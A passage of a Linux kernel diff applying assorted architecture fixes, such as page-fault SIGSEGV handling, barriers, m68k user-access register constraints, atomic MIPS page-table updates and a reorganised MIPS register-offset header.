CPU info before it is marked online and might get read. + */ + cpuinfo_store_cpu(); + /* * OK, now it's safe to let the boot CPU continue. Wait for * the CPU migration code to notice that the CPU is online diff --git a/arch/arm64/kernel/stacktrace.c b/arch/arm64/kernel/stacktrace.c index 55437ba1f5a49..54122c4fd19a8 100644 --- a/arch/arm64/kernel/stacktrace.c +++ b/arch/arm64/kernel/stacktrace.c @@ -48,11 +48,7 @@ int notrace unwind_frame(struct stackframe *frame) frame->sp = fp + 0x10; frame->fp = *(unsigned long *)(fp); - /* - * -4 here because we care about the PC at time of bl, - * not where the return will go. - */ - frame->pc = *(unsigned long *)(fp + 8) - 4; + frame->pc = *(unsigned long *)(fp + 8); return 0; } diff --git a/arch/arm64/kernel/sys_compat.c b/arch/arm64/kernel/sys_compat.c index de2b0226e06df..dc47e53e9e28c 100644 --- a/arch/arm64/kernel/sys_compat.c +++ b/arch/arm64/kernel/sys_compat.c @@ -79,6 +79,12 @@ long compat_arm_syscall(struct pt_regs *regs) case __ARM_NR_compat_set_tls: current->thread.tp_value = regs->regs[0]; + + /* + * Protect against register corruption from context switch. + * See comment in tls_thread_flush. + */ + barrier(); asm ("msr tpidrro_el0, %0" : : "r" (regs->regs[0])); return 0; diff --git a/arch/arm64/kernel/vdso/Makefile b/arch/arm64/kernel/vdso/Makefile index 6d20b7d162d83..fdda6dd71ac62 100644 --- a/arch/arm64/kernel/vdso/Makefile +++ b/arch/arm64/kernel/vdso/Makefile @@ -15,6 +15,10 @@ ccflags-y := -shared -fno-common -fno-builtin ccflags-y += -nostdlib -Wl,-soname=linux-vdso.so.1 \ $(call cc-ldoption, -Wl$(comma)--hash-style=sysv) +# Workaround for bare-metal (ELF) toolchains that neglect to pass -shared +# down to collect2, resulting in silent corruption of the vDSO image. +ccflags-y += -Wl,-shared + obj-y += vdso.o extra-y += vdso.lds vdso-offsets.h CPPFLAGS_vdso.lds += -P -C -U$(ARCH) diff --git a/arch/arm64/lib/clear_user.S b/arch/arm64/lib/clear_user.S index 6e0ed93d51fe1..c17967fdf5f60 100644 --- a/arch/arm64/lib/clear_user.S +++ b/arch/arm64/lib/clear_user.S @@ -46,7 +46,7 @@ USER(9f, strh wzr, [x0], #2 ) sub x1, x1, #2 4: adds x1, x1, #1 b.mi 5f - strb wzr, [x0] +USER(9f, strb wzr, [x0] ) 5: mov x0, #0 ret ENDPROC(__clear_user) diff --git a/arch/arm64/mm/context.c b/arch/arm64/mm/context.c index baa758d370210..76c1e6cd36fc4 100644 --- a/arch/arm64/mm/context.c +++ b/arch/arm64/mm/context.c @@ -92,6 +92,14 @@ static void reset_context(void *info) unsigned int cpu = smp_processor_id(); struct mm_struct *mm = current->active_mm; + /* + * current->active_mm could be init_mm for the idle thread immediately + * after secondary CPU boot or hotplug. TTBR0_EL1 is already set to + * the reserved value, so no need to reset any context. + */ + if (mm == &init_mm) + return; + smp_rmb(); asid = cpu_last_asid + cpu; diff --git a/arch/arm64/mm/fault.c b/arch/arm64/mm/fault.c index 45fc1beb37720..0aebc432ad2ae 100644 --- a/arch/arm64/mm/fault.c +++ b/arch/arm64/mm/fault.c @@ -282,6 +282,7 @@ static int __kprobes do_page_fault(unsigned long addr, unsigned int esr, * starvation. */ mm_flags &= ~FAULT_FLAG_ALLOW_RETRY; + mm_flags |= FAULT_FLAG_TRIED; goto retry; } } diff --git a/arch/arm64/mm/init.c b/arch/arm64/mm/init.c index 1997c5a2faa4b..86cce22e810eb 100644 --- a/arch/arm64/mm/init.c +++ b/arch/arm64/mm/init.c @@ -250,7 +250,7 @@ static void __init free_unused_memmap(void) * memmap entries are valid from the bank end aligned to * MAX_ORDER_NR_PAGES. */ - prev_end = ALIGN(start + __phys_to_pfn(reg->size), + prev_end = ALIGN(__phys_to_pfn(reg->base + reg->size), MAX_ORDER_NR_PAGES); } diff --git a/arch/arm64/mm/mmu.c b/arch/arm64/mm/mmu.c index cd6807ca8e134..f8e3f4928862d 100644 --- a/arch/arm64/mm/mmu.c +++ b/arch/arm64/mm/mmu.c @@ -596,6 +596,9 @@ void __init paging_init(void) empty_zero_page = virt_to_page(zero_page); + /* Ensure the zero page is visible to the page table walker */ + dsb(); + /* * TTBR0 is only used for the identity mapping at this stage. Make it * point to zero page to avoid speculatively fetching new entries. diff --git a/arch/avr32/mm/fault.c b/arch/avr32/mm/fault.c index 0eca933271950..d223a8b57c1ea 100644 --- a/arch/avr32/mm/fault.c +++ b/arch/avr32/mm/fault.c @@ -142,6 +142,8 @@ asmlinkage void do_page_fault(unsigned long ecr, struct pt_regs *regs) if (unlikely(fault & VM_FAULT_ERROR)) { if (fault & VM_FAULT_OOM) goto out_of_memory; + else if (fault & VM_FAULT_SIGSEGV) + goto bad_area; else if (fault & VM_FAULT_SIGBUS) goto do_sigbus; BUG(); diff --git a/arch/c6x/kernel/time.c b/arch/c6x/kernel/time.c index 356ee84cad95a..04845aaf59858 100644 --- a/arch/c6x/kernel/time.c +++ b/arch/c6x/kernel/time.c @@ -49,7 +49,7 @@ u64 sched_clock(void) return (tsc * sched_clock_multiplier) >> SCHED_CLOCK_SHIFT; } -void time_init(void) +void __init time_init(void) { u64 tmp = (u64)NSEC_PER_SEC << SCHED_CLOCK_SHIFT; diff --git a/arch/cris/mm/fault.c b/arch/cris/mm/fault.c index 1790f22e71a21..2686a7aa8ec82 100644 --- a/arch/cris/mm/fault.c +++ b/arch/cris/mm/fault.c @@ -176,6 +176,8 @@ do_page_fault(unsigned long address, struct pt_regs *regs, if (unlikely(fault & VM_FAULT_ERROR)) { if (fault & VM_FAULT_OOM) goto out_of_memory; + else if (fault & VM_FAULT_SIGSEGV) + goto bad_area; else if (fault & VM_FAULT_SIGBUS) goto do_sigbus; BUG(); diff --git a/arch/frv/mm/fault.c b/arch/frv/mm/fault.c index 9a66372fc7c76..ec4917ddf6787 100644 --- a/arch/frv/mm/fault.c +++ b/arch/frv/mm/fault.c @@ -168,6 +168,8 @@ asmlinkage void do_page_fault(int datammu, unsigned long esr0, unsigned long ear if (unlikely(fault & VM_FAULT_ERROR)) { if (fault & VM_FAULT_OOM) goto out_of_memory; + else if (fault & VM_FAULT_SIGSEGV) + goto bad_area; else if (fault & VM_FAULT_SIGBUS) goto do_sigbus; BUG(); diff --git a/arch/ia64/mm/fault.c b/arch/ia64/mm/fault.c index 7225dad87094d..ba5ba7accd0d6 100644 --- a/arch/ia64/mm/fault.c +++ b/arch/ia64/mm/fault.c @@ -172,6 +172,8 @@ ia64_do_page_fault (unsigned long address, unsigned long isr, struct pt_regs *re */ if (fault & VM_FAULT_OOM) { goto out_of_memory; + } else if (fault & VM_FAULT_SIGSEGV) { + goto bad_area; } else if (fault & VM_FAULT_SIGBUS) { signal = SIGBUS; goto bad_area; diff --git a/arch/m32r/kernel/setup.c b/arch/m32r/kernel/setup.c index 0392112a5d702..a5ecef7188baa 100644 --- a/arch/m32r/kernel/setup.c +++ b/arch/m32r/kernel/setup.c @@ -81,7 +81,10 @@ static struct resource code_resource = { }; unsigned long memory_start; +EXPORT_SYMBOL(memory_start); + unsigned long memory_end; +EXPORT_SYMBOL(memory_end); void __init setup_arch(char **); int get_cpuinfo(char *); diff --git a/arch/m32r/mm/fault.c b/arch/m32r/mm/fault.c index e9c6a8014bd64..e3d4d4890104c 100644 --- a/arch/m32r/mm/fault.c +++ b/arch/m32r/mm/fault.c @@ -200,6 +200,8 @@ asmlinkage void do_page_fault(struct pt_regs *regs, unsigned long error_code, if (unlikely(fault & VM_FAULT_ERROR)) { if (fault & VM_FAULT_OOM) goto out_of_memory; + else if (fault & VM_FAULT_SIGSEGV) + goto bad_area; else if (fault & VM_FAULT_SIGBUS) goto do_sigbus; BUG(); diff --git a/arch/m68k/include/asm/linkage.h b/arch/m68k/include/asm/linkage.h index 5a822bb790f72..066e74f666ae9 100644 --- a/arch/m68k/include/asm/linkage.h +++ b/arch/m68k/include/asm/linkage.h @@ -4,4 +4,34 @@ #define __ALIGN .align 4 #define __ALIGN_STR ".align 4" +/* + * Make sure the compiler doesn't do anything stupid with the + * arguments on the stack - they are owned by the *caller*, not + * the callee. This just fools gcc into not spilling into them, + * and keeps it from doing tailcall recursion and/or using the + * stack slots for temporaries, since they are live and "used" + * all the way to the end of the function. + */ +#define asmlinkage_protect(n, ret, args...) \ + __asmlinkage_protect##n(ret, ##args) +#define __asmlinkage_protect_n(ret, args...) \ + __asm__ __volatile__ ("" : "=r" (ret) : "0" (ret), ##args) +#define __asmlinkage_protect0(ret) \ + __asmlinkage_protect_n(ret) +#define __asmlinkage_protect1(ret, arg1) \ + __asmlinkage_protect_n(ret, "m" (arg1)) +#define __asmlinkage_protect2(ret, arg1, arg2) \ + __asmlinkage_protect_n(ret, "m" (arg1), "m" (arg2)) +#define __asmlinkage_protect3(ret, arg1, arg2, arg3) \ + __asmlinkage_protect_n(ret, "m" (arg1), "m" (arg2), "m" (arg3)) +#define __asmlinkage_protect4(ret, arg1, arg2, arg3, arg4) \ + __asmlinkage_protect_n(ret, "m" (arg1), "m" (arg2), "m" (arg3), \ + "m" (arg4)) +#define __asmlinkage_protect5(ret, arg1, arg2, arg3, arg4, arg5) \ + __asmlinkage_protect_n(ret, "m" (arg1), "m" (arg2), "m" (arg3), \ + "m" (arg4), "m" (arg5)) +#define __asmlinkage_protect6(ret, arg1, arg2, arg3, arg4, arg5, arg6) \ + __asmlinkage_protect_n(ret, "m" (arg1), "m" (arg2), "m" (arg3), \ + "m" (arg4), "m" (arg5), "m" (arg6)) + #endif diff --git a/arch/m68k/include/asm/uaccess_mm.h b/arch/m68k/include/asm/uaccess_mm.h index 472c891a4aeee..15901db435b90 100644 --- a/arch/m68k/include/asm/uaccess_mm.h +++ b/arch/m68k/include/asm/uaccess_mm.h @@ -90,7 +90,7 @@ asm volatile ("\n" \ __put_user_asm(__pu_err, __pu_val, ptr, b, d, -EFAULT); \ break; \ case 2: \ - __put_user_asm(__pu_err, __pu_val, ptr, w, d, -EFAULT); \ + __put_user_asm(__pu_err, __pu_val, ptr, w, r, -EFAULT); \ break; \ case 4: \ __put_user_asm(__pu_err, __pu_val, ptr, l, r, -EFAULT); \ @@ -158,7 +158,7 @@ asm volatile ("\n" \ __get_user_asm(__gu_err, x, ptr, u8, b, d, -EFAULT); \ break; \ case 2: \ - __get_user_asm(__gu_err, x, ptr, u16, w, d, -EFAULT); \ + __get_user_asm(__gu_err, x, ptr, u16, w, r, -EFAULT); \ break; \ case 4: \ __get_user_asm(__gu_err, x, ptr, u32, l, r, -EFAULT); \ @@ -245,7 +245,7 @@ __constant_copy_from_user(void *to, const void __user *from, unsigned long n) __get_user_asm(res, *(u8 *)to, (u8 __user *)from, u8, b, d, 1); break; case 2: - __get_user_asm(res, *(u16 *)to, (u16 __user *)from, u16, w, d, 2); + __get_user_asm(res, *(u16 *)to, (u16 __user *)from, u16, w, r, 2); break; case 3: __constant_copy_from_user_asm(res, to, from, tmp, 3, w, b,); @@ -326,7 +326,7 @@ __constant_copy_to_user(void __user *to, const void *from, unsigned long n) __put_user_asm(res, *(u8 *)from, (u8 __user *)to, b, d, 1); break; case 2: - __put_user_asm(res, *(u16 *)from, (u16 __user *)to, w, d, 2); + __put_user_asm(res, *(u16 *)from, (u16 __user *)to, w, r, 2); break; case 3: __constant_copy_to_user_asm(res, to, from, tmp, 3, w, b,); diff --git a/arch/m68k/lib/uaccess.c b/arch/m68k/lib/uaccess.c index 5e97f2ee7c119..35d1442dee899 100644 --- a/arch/m68k/lib/uaccess.c +++ b/arch/m68k/lib/uaccess.c @@ -52,7 +52,7 @@ unsigned long __generic_copy_from_user(void *to, const void __user *from, " .long 3b,30b\n" " .long 5b,50b\n" " .previous" - : "=d" (res), "+a" (from), "+a" (to), "=&r" (tmp) + : "=d" (res), "+a" (from), "+a" (to), "=&d" (tmp) : "0" (n / 4), "d" (n & 3)); return res; @@ -96,7 +96,7 @@ unsigned long __generic_copy_to_user(void __user *to, const void *from, " .long 7b,50b\n" " .long 8b,50b\n" " .previous" - : "=d" (res), "+a" (from), "+a" (to), "=&r" (tmp) + : "=d" (res), "+a" (from), "+a" (to), "=&d" (tmp) : "0" (n / 4), "d" (n & 3)); return res; @@ -141,7 +141,7 @@ unsigned long __clear_user(void __user *to, unsigned long n) " .long 7b,40b\n" " .previous" : "=d" (res), "+a" (to) - : "r" (0), "0" (n / 4), "d" (n & 3)); + : "d" (0), "0" (n / 4), "d" (n & 3)); return res; } diff --git a/arch/m68k/mm/fault.c b/arch/m68k/mm/fault.c index eb1d61f687254..f0eef0491f77b 100644 --- a/arch/m68k/mm/fault.c +++ b/arch/m68k/mm/fault.c @@ -153,6 +153,8 @@ int do_page_fault(struct pt_regs *regs, unsigned long address, if (unlikely(fault & VM_FAULT_ERROR)) { if (fault & VM_FAULT_OOM) goto out_of_memory; + else if (fault & VM_FAULT_SIGSEGV) + goto map_err; else if (fault & VM_FAULT_SIGBUS) goto bus_err; BUG(); diff --git a/arch/m68k/mm/hwtest.c b/arch/m68k/mm/hwtest.c index 2c7dde3c6430f..2a5259fd23ebc 100644 --- a/arch/m68k/mm/hwtest.c +++ b/arch/m68k/mm/hwtest.c @@ -28,9 +28,11 @@ int hwreg_present( volatile void *regp ) { int ret = 0; + unsigned long flags; long save_sp, save_vbr; long tmp_vectors[3]; + local_irq_save(flags); __asm__ __volatile__ ( "movec %/vbr,%2\n\t" "movel #Lberr1,%4@(8)\n\t" @@ -46,6 +48,7 @@ int hwreg_present( volatile void *regp ) : "=&d" (ret), "=&r" (save_sp), "=&r" (save_vbr) : "a" (regp), "a" (tmp_vectors) ); + local_irq_restore(flags); return( ret ); } @@ -58,9 +61,11 @@ EXPORT_SYMBOL(hwreg_present); int hwreg_write( volatile void *regp, unsigned short val ) { int ret; + unsigned long flags; long save_sp, save_vbr; long tmp_vectors[3]; + local_irq_save(flags); __asm__ __volatile__ ( "movec %/vbr,%2\n\t" "movel #Lberr2,%4@(8)\n\t" @@ -78,6 +83,7 @@ int hwreg_write( volatile void *regp, unsigned short val ) : "=&d" (ret), "=&r" (save_sp), "=&r" (save_vbr) : "a" (regp), "a" (tmp_vectors), "g" (val) ); + local_irq_restore(flags); return( ret ); } diff --git a/arch/metag/include/asm/cmpxchg_lnkget.h b/arch/metag/include/asm/cmpxchg_lnkget.h index 0154e2807ebb5..2369ad3948760 100644 --- a/arch/metag/include/asm/cmpxchg_lnkget.h +++ b/arch/metag/include/asm/cmpxchg_lnkget.h @@ -73,7 +73,7 @@ static inline unsigned long __cmpxchg_u32(volatile int *m, unsigned long old, " DCACHE [%2], %0\n" #endif "2:\n" - : "=&d" (temp), "=&da" (retval) + : "=&d" (temp), "=&d" (retval) : "da" (m), "bd" (old), "da" (new) : "cc" ); diff --git a/arch/metag/include/asm/processor.h b/arch/metag/include/asm/processor.h index 579e3d93a5ca7..b88e9cbdc64be 100644 --- a/arch/metag/include/asm/processor.h +++ b/arch/metag/include/asm/processor.h @@ -149,8 +149,8 @@ extern void exit_thread(void); unsigned long get_wchan(struct task_struct *p); -#define KSTK_EIP(tsk) ((tsk)->thread.kernel_context->CurrPC) -#define KSTK_ESP(tsk) ((tsk)->thread.kernel_context->AX[0].U0) +#define KSTK_EIP(tsk) (task_pt_regs(tsk)->ctx.CurrPC) +#define KSTK_ESP(tsk) (task_pt_regs(tsk)->ctx.AX[0].U0) #define user_stack_pointer(regs) ((regs)->ctx.AX[0].U0) diff --git a/arch/metag/mm/fault.c b/arch/metag/mm/fault.c index 6a03fba80df50..2de5dc695a87f 100644 --- a/arch/metag/mm/fault.c +++ b/arch/metag/mm/fault.c @@ -141,6 +141,8 @@ int do_page_fault(struct pt_regs *regs, unsigned long address, if (unlikely(fault & VM_FAULT_ERROR)) { if (fault & VM_FAULT_OOM) goto out_of_memory; + else if (fault & VM_FAULT_SIGSEGV) + goto bad_area; else if (fault & VM_FAULT_SIGBUS) goto do_sigbus; BUG(); @@ -226,8 +228,10 @@ int do_page_fault(struct pt_regs *regs, unsigned long address, */ out_of_memory: up_read(&mm->mmap_sem); - if (user_mode(regs)) - do_group_exit(SIGKILL); + if (user_mode(regs)) { + pagefault_out_of_memory(); + return 1; + } no_context: /* Are we prepared to handle this kernel fault? */ diff --git a/arch/microblaze/mm/fault.c b/arch/microblaze/mm/fault.c index fa4cf52aa7a6d..d46a5ebb7570e 100644 --- a/arch/microblaze/mm/fault.c +++ b/arch/microblaze/mm/fault.c @@ -224,6 +224,8 @@ void do_page_fault(struct pt_regs *regs, unsigned long address, if (unlikely(fault & VM_FAULT_ERROR)) { if (fault & VM_FAULT_OOM) goto out_of_memory; + else if (fault & VM_FAULT_SIGSEGV) + goto bad_area; else if (fault & VM_FAULT_SIGBUS) goto do_sigbus; BUG(); diff --git a/arch/mips/ath79/early_printk.c b/arch/mips/ath79/early_printk.c index b955fafc58ba5..d1adc59af5bfe 100644 --- a/arch/mips/ath79/early_printk.c +++ b/arch/mips/ath79/early_printk.c @@ -31,13 +31,15 @@ static inline void prom_putchar_wait(void __iomem *reg, u32 mask, u32 val) } while (1); } +#define BOTH_EMPTY (UART_LSR_TEMT | UART_LSR_THRE) + static void prom_putchar_ar71xx(unsigned char ch) { void __iomem *base = (void __iomem *)(KSEG1ADDR(AR71XX_UART_BASE)); - prom_putchar_wait(base + UART_LSR * 4, UART_LSR_THRE, UART_LSR_THRE); + prom_putchar_wait(base + UART_LSR * 4, BOTH_EMPTY, BOTH_EMPTY); __raw_writel(ch, base + UART_TX * 4); - prom_putchar_wait(base + UART_LSR * 4, UART_LSR_THRE, UART_LSR_THRE); + prom_putchar_wait(base + UART_LSR * 4, BOTH_EMPTY, BOTH_EMPTY); } static void prom_putchar_ar933x(unsigned char ch) diff --git a/arch/mips/boot/compressed/decompress.c b/arch/mips/boot/compressed/decompress.c index 2c9573098c0da..d498a1f9bccf5 100644 --- a/arch/mips/boot/compressed/decompress.c +++ b/arch/mips/boot/compressed/decompress.c @@ -13,6 +13,7 @@ #include #include +#include #include diff --git a/arch/mips/cavium-octeon/setup.c b/arch/mips/cavium-octeon/setup.c index 2a75ff249e715..6430e7acb1ebb 100644 --- a/arch/mips/cavium-octeon/setup.c +++ b/arch/mips/cavium-octeon/setup.c @@ -463,6 +463,18 @@ static void octeon_halt(void) octeon_kill_core(NULL); } +static char __read_mostly octeon_system_type[80]; + +static int __init init_octeon_system_type(void) +{ + snprintf(octeon_system_type, sizeof(octeon_system_type), "%s (%s)", + cvmx_board_type_to_string(octeon_bootinfo->board_type), + octeon_model_get_string(read_c0_prid())); + + return 0; +} +early_initcall(init_octeon_system_type); + /** * Handle all the error condition interrupts that might occur. * @@ -482,11 +494,7 @@ static irqreturn_t octeon_rlm_interrupt(int cpl, void *dev_id) */ const char *octeon_board_type_string(void) { - static char name[80]; - sprintf(name, "%s (%s)", - cvmx_board_type_to_string(octeon_bootinfo->board_type), - octeon_model_get_string(read_c0_prid())); - return name; + return octeon_system_type; } const char *get_system_type(void) diff --git a/arch/mips/include/asm/kvm_host.h b/arch/mips/include/asm/kvm_host.h index 4d6fa0bf1305d..883a162083af1 100644 --- a/arch/mips/include/asm/kvm_host.h +++ b/arch/mips/include/asm/kvm_host.h @@ -349,6 +349,7 @@ struct kvm_mips_tlb { #define KVM_MIPS_GUEST_TLB_SIZE 64 struct kvm_vcpu_arch { void *host_ebase, *guest_ebase; + int (*vcpu_run)(struct kvm_run *run, struct kvm_vcpu *vcpu); unsigned long host_stack; unsigned long host_gp; diff --git a/arch/mips/include/asm/mach-generic/spaces.h b/arch/mips/include/asm/mach-generic/spaces.h index 5b2f2e68e57f0..503eb6ca5802a 100644 --- a/arch/mips/include/asm/mach-generic/spaces.h +++ b/arch/mips/include/asm/mach-generic/spaces.h @@ -90,7 +90,11 @@ #endif #ifndef FIXADDR_TOP +#ifdef CONFIG_KVM_GUEST +#define FIXADDR_TOP ((unsigned long)(long)(int)0x7ffe0000) +#else #define FIXADDR_TOP ((unsigned long)(long)(int)0xfffe0000) #endif +#endif #endif /* __ASM_MACH_GENERIC_SPACES_H */ diff --git a/arch/mips/include/asm/pgtable.h b/arch/mips/include/asm/pgtable.h index 008324d1c2612..b15495367d5cc 100644 --- a/arch/mips/include/asm/pgtable.h +++ b/arch/mips/include/asm/pgtable.h @@ -150,8 +150,39 @@ static inline void set_pte(pte_t *ptep, pte_t pteval) * Make sure the buddy is global too (if it's !none, * it better already be global) */ +#ifdef CONFIG_SMP + /* + * For SMP, multiple CPUs can race, so we need to do + * this atomically. + */ +#ifdef CONFIG_64BIT +#define LL_INSN "lld" +#define SC_INSN "scd" +#else /* CONFIG_32BIT */ +#define LL_INSN "ll" +#define SC_INSN "sc" +#endif + unsigned long page_global = _PAGE_GLOBAL; + unsigned long tmp; + + __asm__ __volatile__ ( + " .set push\n" + " .set noreorder\n" + "1: " LL_INSN " %[tmp], %[buddy]\n" + " bnez %[tmp], 2f\n" + " or %[tmp], %[tmp], %[global]\n" + " " SC_INSN " %[tmp], %[buddy]\n" + " beqz %[tmp], 1b\n" + " nop\n" + "2:\n" + " .set pop" + : [buddy] "+m" (buddy->pte), + [tmp] "=&r" (tmp) + : [global] "r" (page_global)); +#else /* !CONFIG_SMP */ if (pte_none(*buddy)) pte_val(*buddy) = pte_val(*buddy) | _PAGE_GLOBAL; +#endif /* CONFIG_SMP */ } #endif } diff --git a/arch/mips/include/asm/processor.h b/arch/mips/include/asm/processor.h index 1470b7b68b0e9..a7e71744fe89d 100644 --- a/arch/mips/include/asm/processor.h +++ b/arch/mips/include/asm/processor.h @@ -51,7 +51,7 @@ extern unsigned int vced_count, vcei_count; * User space process size: 2GB. This is hardcoded into a few places, * so don't change it unless you know what you are doing. */ -#define TASK_SIZE 0x7fff8000UL +#define TASK_SIZE 0x80000000UL #endif #ifdef __KERNEL__ diff --git a/arch/mips/include/asm/reg.h b/arch/mips/include/asm/reg.h index 910e71a12466d..b8343ccbc9898 100644 --- a/arch/mips/include/asm/reg.h +++ b/arch/mips/include/asm/reg.h @@ -12,116 +12,194 @@ #ifndef __ASM_MIPS_REG_H #define __ASM_MIPS_REG_H - -#if defined(CONFIG_32BIT) || defined(WANT_COMPAT_REG_H) - -#define EF_R0 6 -#define EF_R1 7 -#define EF_R2 8 -#define EF_R3 9 -#define EF_R4 10 -#define EF_R5 11 -#define EF_R6 12 -#define EF_R7 13 -#define EF_R8 14 -#define EF_R9 15 -#define EF_R10 16 -#define EF_R11 17 -#define EF_R12 18 -#define EF_R13 19 -#define EF_R14 20 -#define EF_R15 21 -#define EF_R16 22 -#define EF_R17 23 -#define EF_R18 24 -#define EF_R19 25 -#define EF_R20 26 -#define EF_R21 27 -#define EF_R22 28 -#define EF_R23 29 -#define EF_R24 30 -#define EF_R25 31 +#define MIPS32_EF_R0 6 +#define MIPS32_EF_R1 7 +#define MIPS32_EF_R2 8 +#define MIPS32_EF_R3 9 +#define MIPS32_EF_R4 10 +#define MIPS32_EF_R5 11 +#define MIPS32_EF_R6 12 +#define MIPS32_EF_R7 13 +#define MIPS32_EF_R8 14 +#define MIPS32_EF_R9 15 +#define MIPS32_EF_R10 16 +#define MIPS32_EF_R11 17 +#define MIPS32_EF_R12 18 +#define MIPS32_EF_R13 19 +#define MIPS32_EF_R14 20 +#define MIPS32_EF_R15 21 +#define MIPS32_EF_R16 22 +#define MIPS32_EF_R17 23 +#define MIPS32_EF_R18 24 +#define MIPS32_EF_R19 25 +#define MIPS32_EF_R20 26 +#define MIPS32_EF_R21 27 +#define MIPS32_EF_R22 28 +#define MIPS32_EF_R23 29 +#define MIPS32_EF_R24 30 +#define MIPS32_EF_R25 31 /* * k0/k1 unsaved */ -#define EF_R26 32 -#define EF_R27 33 +#define MIPS32_EF_R26 32 +#define MIPS32_EF_R27 33 -#define EF_R28 34 -#define EF_R29 35 -#define EF_R30 36 -#define EF_R31 37 +#define MIPS32_EF_R28 34 +#define MIPS32_EF_R29 35 +#define MIPS32_EF_R30 36 +#define MIPS32_EF_R31 37 /* * Saved special registers */ -#define EF_LO 38 -#define EF_HI 39 - -#define EF_CP0_EPC 40 -#define EF_CP0_BADVADDR 41 -#define EF_CP0_STATUS 42 -#define EF_CP0_CAUSE 43 -#define EF_UNUSED0 44 - -#define EF_SIZE 180 - -#endif - -#if defined(CONFIG_64BIT) && !defined(WANT_COMPAT_REG_H) - -#define EF_R0 0 -#define EF_R1 1 -#define EF_R2 2 -#define EF_R3 3 -#define EF_R4 4 -#define EF_R5 5 -#define EF_R6 6 -#define EF_R7 7 -#define EF_R8 8 -#define EF_R9 9 -#define EF_R10 10 -#define EF_R11 11 -#define EF_R12 12 -#define EF_R13 13 -#define EF_R14 14 -#define EF_R15 15 -#define EF_R16 16 -#define EF_R17 17 -#define EF_R18 18 -#define EF_R19 19 -#define EF_R20 20 -#define EF_R21 21 -#define EF_R22 22 -#define EF_R23 23 -#define EF_R24 24 -#define EF_R25 25 +#define MIPS32_EF_LO 38 +#define MIPS32_EF_HI 39 + +#define MIPS32_EF_CP0_EPC 40 +#define MIPS32_EF_CP0_BADVADDR 41 +#define MIPS32_EF_CP0_STATUS 42 +#define MIPS32_EF_CP0_CAUSE 43 +#define MIPS32_EF_UNUSED0 44 + +#define MIPS32_EF_SIZE 180 + +#define MIPS64_EF_R0 0 +#define MIPS64_EF_R1 1 +#define MIPS64_EF_R2 2 +#define MIPS64_EF_R3 3 +#define MIPS64_EF_R4 4 +#define MIPS64_EF_R5 5 +#define MIPS64_EF_R6 6 +#define MIPS64_EF_R7 7 +#define MIPS64_EF_R8 8 +#define MIPS64_EF_R9 9 +#define MIPS64_EF_R10 10 +#define MIPS64_EF_R11 11 +#define MIPS64_EF_R12 12 +#define MIPS64_EF_R13 13 +#define MIPS64_EF_R14 14 +#define MIPS64_EF_R15 15 +#define MIPS64_EF_R16 16 +#define MIPS64_EF_R17 17 +#define MIPS64_EF_R18 18 +#define MIPS64_EF_R19 19 +#define MIPS64_EF_R20 20 +#define MIPS64_EF_R21 21 +#define MIPS64_EF_R22 22 +#define MIPS64_EF_R23 23 +#define MIPS64_EF_R24 24 +#define MIPS64_EF_R25 25 /* * k0/k1 unsaved */ -#define EF_R26 26 -#define EF_R27 27 +#define MIPS64_EF_R26 26 +#define MIPS64_EF_R27 27 -#define EF_R28 28 -#define EF_R29 29 -#define EF_R30 30 -#define EF_R31 31 +#define MIPS64_EF_R28 28 +#define MIPS64_EF_R29 29 +#define MIPS64_EF_R30 30 +#define MIPS64_EF_R31 31 /* * Saved special registers */ -#define EF_LO 32 -#define EF_HI 33 - -#define EF_CP0_EPC 34 -#define EF_CP0_BADVADDR 35 -#define EF_CP0_STATUS 36 -#define EF_CP0_CAUSE 37 - -#define EF_SIZE 304 /* size in bytes */ +#define MIPS64_EF_LO 32 +#define MIPS64_EF_HI 33 + +#define MIPS64_EF_CP0_EPC 34 +#define MIPS64_EF_CP0_BADVADDR 35 +#define MIPS64_EF_CP0_STATUS 36 +#define MIPS64_EF_CP0_CAUSE 37 + +#define MIPS64_EF_SIZE 304 /* size in bytes */ + +#if defined(CONFIG_32BIT) + +#define EF_R0 MIPS32_EF_R0 +#define EF_R1 MIPS32_EF_R1 +#define EF_R2 MIPS32_EF_R2 +#define EF_R3 MIPS32_EF_R3 +#define EF_R4 MIPS32_EF_R4 +#define EF_R5 MIPS32_EF_R5 +#define EF_R6 MIPS32_EF_R6 +#define EF_R7 MIPS32_EF_R7 +#define EF_R8 MIPS32_EF_R8 +#define EF_R9 MIPS32_EF_R9 +#define EF_R10 MIPS32_EF_R10 +#define EF_R11 MIPS32_EF_R11 +#define EF_R12 MIPS32_EF_R12 +#define EF_R13 MIPS32_EF_R13 +#define EF_R14 MIPS32_EF_R14 +#define EF_R15 MIPS32_EF_R15 +#define EF_R16 MIPS32_EF_R16 +#define EF_R17 MIPS32_EF_R17 +#define EF_R18 MIPS32_EF_R18 +#define EF_R19 MIPS32_EF_R19 +#define EF_R20 MIPS32_EF_R20 +#define EF_R21 MIPS32_EF_R21 +#define EF_R22 MIPS32_EF_R22 +#define EF_R23 MIPS32_EF_R23 +#define EF_R24 MIPS32_EF_R24 +#define EF_R25 MIPS32_EF_R25 +#define EF_R26 MIPS32_EF_R26 +#define EF_R27 MIPS32_EF_R27 +#define EF_R28 MIPS32_EF_R28 +#define EF_R29 MIPS32_EF_R29 +#define EF_R30 MIPS32_EF_R30 +#define EF_R31 MIPS32_EF_R31 +#define EF_LO MIPS32_EF_LO +#define EF_HI MIPS32_EF_HI +#define EF_CP0_EPC MIPS32_EF_CP0_EPC +#define EF_CP0_BADVADDR MIPS32_EF_CP0_BADVADDR +#define EF_CP0_STATUS MIPS32_EF_CP0_STATUS +#define EF_CP0_CAUSE MIPS32_EF_CP0_CAUSE +#define EF_UNUSED0 MIPS32_EF_UNUSED0 +#define EF_SIZE MIPS32_EF_SIZE + +#elif defined(CONFIG_64BIT) + +#define EF_R0 MIPS64_EF_R0 +#define EF_R1 MIPS64_EF_R1 +#define EF_R2 MIPS64_EF_R2 +#define EF_R3 MIPS64_EF_R3 +#define EF_R4 MIPS64_EF_R4 +#define EF_R5 MIPS64_EF_R5 +#define EF_R6 MIPS64_EF_R6 +#define EF_R7 MIPS64_EF_R7 +#define EF_R8 MIPS64_EF_R8 +#define EF_R9 MIPS64_EF_R9 +#define EF_R10 MIPS64_EF_R10 +#define EF_R11 MIPS64_EF_R11 +#define EF_R12 MIPS64_EF_R12 +#define EF_R13 MIPS64_EF_R13 +#define EF_R14 MIPS64_EF_R14 +#define EF_R15 MIPS64_EF_R15 +#define EF_R16 MIPS64_EF_R16 +#define EF_R17 MIPS64_EF_R17 +#define EF_R18 MIPS64_EF_R18 +#define EF_R19 MIPS64_EF_R19 +#define EF_R20 